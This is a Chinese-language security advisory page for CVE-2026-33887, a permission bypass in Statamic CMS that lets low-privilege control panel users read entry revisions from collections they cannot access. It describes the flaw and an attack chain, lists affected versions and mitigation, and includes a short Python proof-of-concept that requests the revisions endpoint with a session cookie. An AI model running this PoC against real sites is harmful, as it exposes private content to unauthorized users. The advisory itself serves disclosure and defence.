IPBUF安全漏洞报告
English
CVE-2026-33887 CVSS 5.4 中危

CVE-2026-33887 Statamic权限绕过漏洞

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2026-33887
漏洞类型
权限绕过
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Statamic CMS

相关标签

权限绕过StatamicCMS信息泄露认证后漏洞

漏洞概述

Statamic是一个基于Laravel和Git的内容管理系统(CMS)。在5.73.16和6.7.2版本之前,经过身份验证的控制面板用户可以查看任何启用了修订功能的集合的条目修订版本,而无需拥有该集合的所需权限。此漏洞绕过了主条目控制器执行的身份验证检查,导致条目字段值和蓝图数据泄露。此外,用户还可以在没有编辑权限的情况下创建条目修订版,尽管这只是对现有内容状态的快照,不会影响已发布的内容。

技术细节

该漏洞的根本原因在于Statamic处理条目修订版本(Revisions)的控制器中缺乏适当的权限验证机制。虽然CMS的主条目控制器正确执行了集合级别的权限检查,以防止未授权访问,但专门用于处理修订历史的控制器未能实施相同的安全策略。攻击者利用这一逻辑缺陷,只需拥有一个低权限的Control Panel账户(PR:L),即可通过构造特定的HTTP请求,直接访问目标修订API端点。通过在请求中指定目标集合ID和条目ID,服务器会返回敏感的修订数据,而不再验证用户是否有权访问该特定集合。这构成了水平权限越权,允许受限用户访问其他部门或私密集合的数据。完整性影响(I:L)源于用户能够创建未经授权的修订快照,这可能污染版本历史记录。

攻击链分析

STEP 1
侦察
攻击者确定目标使用Statamic CMS,并获取一个低权限的Control Panel账户。
STEP 2
漏洞利用
攻击者使用低权限账户,向/cp/collections/{id}/entries/{id}/revisions端点发送特制的HTTP请求。
STEP 3
权限绕过
服务器端未能验证用户是否有权访问特定集合,直接返回了条目的历史修订版本数据。
STEP 4
数据泄露
攻击者解析响应数据,获取条目字段值、蓝图结构及其他敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Proof of Concept: Unauthorized Revision Access # Target: Statamic CMS < 5.73.16 / < 6.7.2 # Description: Accessing revisions of a restricted collection using a low-privileged user. import requests def check_vulnerability(target_url, session_cookie): # Identify a valid entry ID and collection ID (Reconnaissance required) collection_id = "blog" # Example collection entry_id = "1" # Example entry ID # Endpoint to access revisions url = f"{target_url}/cp/collections/{collection_id}/entries/{entry_id}/revisions" headers = { "Cookie": f"statamic_session={session_cookie}", "User-Agent": "CVE-2026-33887-PoC", "Accept": "application/json" } try: response = requests.get(url, headers=headers, timeout=10) if response.status_code == 200: print("[+] Vulnerability Confirmed!") print("[+] Successfully accessed unauthorized revisions.") print(f"[+] Response Data: {response.text[:200]}") return True else: print(f"[-] Request failed with status code: {response.status_code}") return False except Exception as e: print(f"[!] Error occurred: {e}") return False # Usage # target = "http://localhost:8000" # cookie = "low_priv_user_session_token" # check_vulnerability(target, cookie)

影响范围

Statamic CMS < 5.73.16
Statamic CMS < 6.7.2

防御指南

临时缓解措施
建议管理员立即将Statamic CMS更新到修复了此问题的最新版本。如果无法立即升级,应严格限制Control Panel的访问权限,仅允许可信用户访问,并监控异常的API请求行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表